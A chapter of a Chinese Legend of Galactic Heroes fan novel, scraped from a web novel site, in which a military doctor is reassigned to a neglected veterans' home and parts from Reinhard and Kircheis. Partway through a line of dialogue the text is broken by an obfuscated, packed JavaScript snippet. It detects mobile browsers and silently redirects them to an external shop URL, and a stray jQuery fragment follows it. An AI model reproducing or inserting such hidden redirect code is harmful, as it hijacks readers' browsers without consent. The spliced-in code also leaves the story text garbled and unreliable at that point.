文趣网 > 其他小说 > 【银英】学医救不了银河系 > 27.第 27 章
    宇宙历791年6月,白色港湾第三接收区。

    格特鲁德刚从分诊台下来,手术外罩还没来得及脱,终端在口袋里震了一下。

    她摘下手套划开屏幕,读完正文,站在走廊里沉默了片刻。

    帝国军医总部签发——格特鲁德·冯·缪杰尔少校,即日起由前线医疗港白色港湾调至奥丁帝国中央残疾军人收容所,职务为“康复应用实践基地筹建负责人”。

    理由栏写着:“鉴于其在战创伤康复随访体系建设中表现突出,调任至中央残疾军人收容所组建康复应用实践基地,以推广标准化康复流程。”

    措辞冠冕堂皇,无可挑剔。

    康复应用实践基地——这个名字本身就是一个包装精美的空壳。

    所谓“组建实践基地”,通常意味着某个被遗忘的角落需要一个人去填坑,没钱没编制,也无人在意。

    她把调令看了两遍,脑子里只有一个念头:施利希特、施泰因霍夫、科尔希多夫——三位在帝国军医和舰队系统里举足轻重的实干派,没能阻止这份调令。

    不是他们不够有分量,而是签发调令的人找到了一个他们无法公开反驳的理由。

    理由太漂亮了——漂亮到连皇帝都不会否决。

    一个在前线做出成绩的军医被调回奥丁负责康复实践,听起来是重用,是晋升前的人事铺垫。

    她把终端收进口袋,继续往更衣消毒区走。

    走廊里伦纳军士长正推着一车补充药品从对面过来,看到她脸色不对,把推车往墙边一靠。

    “怎么了?”

    “调令——回奥丁。”

    伦纳接过她的终端扫了一眼,沉默几秒后把终端还给格特鲁德,语气比平时低了半度:“中央残疾军人收容所——你知道那是什么地方吗?”

    “我猜必不是什么风水宝地。”

    “它在军医系统内部的外号:垃圾回收处。”

    伦纳靠在推车把手上,眉骨的旧伤疤在走廊灯光下显得更深:“帝国军队所有治不好的、没人要的、退役后没地方去的老兵,最后都往那儿塞。经费是同等规模军医院的零头,药品配额经常被截留……上面每次说要改革,就派个人过去挂个名头,待几个月申请调走。八年了,来过三个‘基地筹建负责人’,最后一个走的时候连办公室的钥匙都没还——大概是觉得没必要。”

    他把推车重新握紧:“你的手册刚被列为推荐参考,基层医疗站里的人大概刚记住你的名字——这调动来得可太巧了。”

    格特鲁德把手术外罩脱下来叠好,放进回收口:“知道了。”

    她心想,还有更巧的呢——莱茵哈特和吉尔菲艾斯马上要从军校毕业了。

    伦纳观察着她的表情:“你不生气?”

    “生气没用。”她把储物柜关上:“调令是公开的,理由冠冕堂皇。生气只会让签发调令的人开心,我不打算让他们得到这种满足。”

    伦纳看了她几秒,然后嗤了一声。

    “行。你自求多福。”

    格特鲁德提醒道:“你上次给的咖啡豆还没喝完。”

    “那是中尉时期的存货。现在你是少校了,咖啡豆得升级。”

    伦纳把推车转了个方向,背对着她挥了一下手,推着药品车往走廊尽头去了。

    第二天上午,医疗港司令科尔希多夫的副官出现在第三接收区门口,请她去司令办公室。

    格特鲁德走进那间熟悉的办公室时,科尔希多夫正站在星图前背对着门。

    他没有寒暄,直接说:“调令看到了?”

    “看到了。”

    “施利希特在奥丁总部,他那边已经收到消息了。冯·施泰因霍夫今天凌晨从埃伊尔号上发来通讯——他本来想亲自过来送你,但医疗舰队临时接到边境巡逻队的急救转运任务,脱不开身。”

    科尔希多夫从桌上拿起一面数据板递给她,上面有她的调令副本,旁边附了几行字。

    字迹她认得,是冯·施泰因霍夫的笔迹,只有一句话——“到了奥丁以后发份报告给我。不是工作报告,是你在收容所看到的一切。”

    格特鲁德放下数据板:“请替我转告少将阁下,报告会有的。”

    科尔希多夫点了头。

    “你有什么想法?”

    “到了先看看。收容所的实际情况我还不了解,但我不会闲着。”

    科尔希多夫微微点头:“那就好。”他坐直了些,双手交叉放在桌面上:“缪杰尔少校——你在这里做的所有事,不会被这份调令抹掉。”

    格特鲁德没有说话,只敬了一礼。

    离开司令办公室后,她开始收拾行李。

    消息传得比她预想的快。

    交接工作的三天里,第三接收区的护理兵们轮流来帮她整理文件。

    随访专员的报告里夹了一张手写便条:少校,你设计的幻肢痛评估表我们继续用,应用技术实验室我们会维护好。

    离开那天,伦纳军士长在对接通道口堵住了她。

    他手里拎着两包咖啡豆,用白色港湾医务室的旧纱布袋子装着,包口被他粗手粗脚地扎了个外科结。

    几个护理兵站在他身后不远处,想上前又不敢。

    格特鲁德朝他们挥了挥手,接过咖啡豆塞进背包,然后拍了拍伦纳的肩,转身走上了穿梭机。

    奥丁的盛夏阳光灼人。

    格特鲁德回到家,先去隔壁跟吉尔菲艾斯的父母见了一面,告知自己已调回奥丁,但会搬到新单位居住的消息。

    幼年军校的毕业典礼将在几天后举行,典礼结束,这批毕业生就会按照分配方案前往各自的岗位。

    吉尔菲艾斯太太本就坐立不安,听说她也要搬走,眼圈一下子红了。

    “也不知道齐格飞会被分配到哪里?”

    “我猜他们会去边境前线。”格特鲁德没有掩盖这个事实:“但应该不会是交战区——幼年军校的军官通常不会立刻派驻交战区。毕业典礼的时候,我会提醒他们小心。”

    安慰了吉尔菲艾斯太太之后,她回到家里,给莱因哈特打了一通电话。

    视频画面亮起。

    莱因哈特端着一杯喝了一半的牛奶,吉尔菲艾斯还在旁边收拾行李。

    注意到通话背景,莱因哈特奇怪地问:“你怎么跑回家了?”

    “军务省下了调令。”

    “调令?你刚刚才升职。”他本能感觉有些不对:“调去哪里?”

    “中央残疾军人收容所。”

    莱因哈特神色一滞。

    吉尔菲艾斯已经拿起终端,开始查记录,没几分钟就查到了那条新调令,抬头的时候目光有些沉。

    “调令签发日期……刚好卡在毕业典礼之前。”

    莱茵哈特已经想起了那个地方,冷笑一声:“中央残疾军人收容所——你花了三年在白色港湾建康复科,写了被列为推荐参考的手册,然后他们把你调到那种地方。”

    他抬起眼睛看着她,那双蓝眼睛里的情绪已经不是怒气,是冷:“他们打压的不是你——是我。”

    格特鲁德端起红茶,抿了一口:“你分析得很对。你的原因占一半。”

    “另一半是什么?”

    “安妮罗杰。她在宫里的位置这几年越来越稳。缪杰尔这个姓氏同时在三个方向上冒头,那些贵族不是傻子。”

    “所以你就接受了?”

    莱因哈特的下巴收紧了。

    吉尔菲艾斯的目光也移到了格特鲁德脸上。

    “接受不等于认输。他们以为把我扔进了垃圾堆,没准我能在垃圾堆里建个‘战略要塞’。”她停了一下,顺口加了一句,“另外,有句老话——高树招风。”

    她停了一下,看着莱因哈特皱起的眉头和吉尔菲艾斯微微偏头的角度,依然用一种事不关己的态度表达观点

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17739734|207854||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    :“一棵树长得比整个林子都高,风第一个吹断它。安妮罗杰在后宫,你在舰队,我在军医系统。他们不会等到我们都站稳了再动手。现在你还没正式踏上军舰,我已经被调走了——这就是他们动手的方式。”

    莱茵哈特眼底憋着火:“军医系统——我是说你那三位长官——他们没什么意见吗?”

    “他们拦不住。我倒觉得收容所这棵树虽然不高,但土壤肥沃。风吹不到的地方,长出来的东西可能比风口上的更结实。”

    吉尔菲艾斯垂下目光,像是在咀嚼这段话。

    眼看莱茵哈特还是满脸阴翳,他主动开口:“莱茵哈特大人,请您相信格特鲁德小姐。”

    “没错,我不会让自己吃亏。”格特鲁德点头:“我在费沙学到的最管用的道理就是——蚀本的生意不做,但没人要的铺位可以捡,垃圾堆里没人抢,想怎么收拾都行。”

    莱因哈特沉默了片刻。

    “你说得对。”他把吉尔菲艾斯手里的终端拿起来,将调令页面关掉:“你去收容所这段时间,我会在军队站稳。另外——毕业典礼,你来吗?”

    “来。”格特鲁德点点头:“人事部打算怎么给你们分配去向?”

    “一开始说安排在后方医院,我拒绝了。”莱因哈特毫不掩饰眼底的渴望:“我们申请去前线。”

    “我猜也是。”她感慨地叹了口气:“齐格飞,我刚去过你家——记得给你妈妈写信。”

    吉尔菲艾斯的动作停了一下:“是,我会的。”

    次日,幼年军校毕业典礼在奥丁军港举行。

    格特鲁德站在观礼台上,看着莱因哈特站在毕业学员第一排,脊背挺直,金发在灯光下亮得像一面旗帜。吉尔菲艾斯站在他右侧,沉稳如石。

    军校校长宣布优秀学员名单——莱因哈特·冯·缪杰尔,授少尉衔;齐格飞·吉尔菲艾斯,授准尉衔。

    这个安排引起观礼台上一阵窃窃私语。

    “那是皇帝的意思吧。”

    “有个受宠的姐姐真是幸运。”

    格特鲁德把那些闲言碎语当做一阵耳旁风,专注地看着典礼主场。

    莱因哈特敬礼时目光越过人群,找到了观礼台上她的位置,微微颔首。

    典礼结束后莱因哈特和吉尔菲艾斯直接踏上了前往边境基地的运输舰。

    格特鲁德在军港送走他们,然后转身走向地面车,独自去中央残疾军人收容所报到。

    收容所位于奥丁一片被遗忘的空地边缘,门口的电子标识有一半电路故障,主体建筑看上去有些陈旧。

    接待她的行政军士翻了翻她的调令,用一种见惯不惊的语气说:“康复应用实践基地——这个名头我在这儿干了八年,听过至少三个版本。每个版本最后都没下文。”

    “这次或许会有。”格特鲁德说。

    行政军士看了她一眼,大概是觉得这个新来的少校又年轻又天真。

    他把收容所的平面图推给她:“你的办公室在二楼最里面。空调不太灵,需要自己做些准备。”

    格特鲁德接过平面图,走向她的新办公室。

    走廊两侧的病房里躺着退役老兵,有人在咳嗽,有人盯着天花板,有人用不完整的右手在翻一台旧终端。

    明明每个病房都有人,但整栋大楼都散发着颓败之气。

    她推开办公室的门。

    房间很小,一张金属办公桌、一把椅子、一个文件柜。

    窗户朝北,窗外是一片灰扑扑的空地,远处能看见军港塔台的红色航空灯一闪一闪。

    她把背包放在桌上,打开终端,调出康复随访标准化手册的第二版。

    桌上摊着她从白色港湾带回来的咖啡豆,她舀了一勺放进那台老掉牙的咖啡机,按下开关。

    咖啡机发出一声濒死般的闷响,然后开始缓慢地渗出液体。

    她端着杯咖啡回到桌前,开始改稿。